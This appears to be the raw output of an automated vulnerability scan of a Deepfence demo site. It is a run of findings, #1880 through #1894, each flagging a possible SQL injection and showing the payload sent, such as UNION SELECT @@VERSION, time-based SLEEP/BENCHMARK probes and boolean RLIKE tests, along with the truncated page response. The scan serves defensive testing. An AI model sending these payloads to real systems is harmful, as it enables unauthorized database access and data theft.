cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1880
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# HAVING 1=0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1881
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1882
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10#ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1883
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# HAVING 1=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1884Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# RLIKE (SELECT (CASE WHEN (4346=4346) THEN 
0x61646d696e ELSE 0x28 END)) AND 'Txws'='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1885
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1886
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# WHERE 1=1 AND 1=0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1887
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+
CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1888
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1889
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 24--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1890
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# WHERE 1=1 AND 1=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1891
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ||
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1892
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5)
,3
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1893
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 24
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1894
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
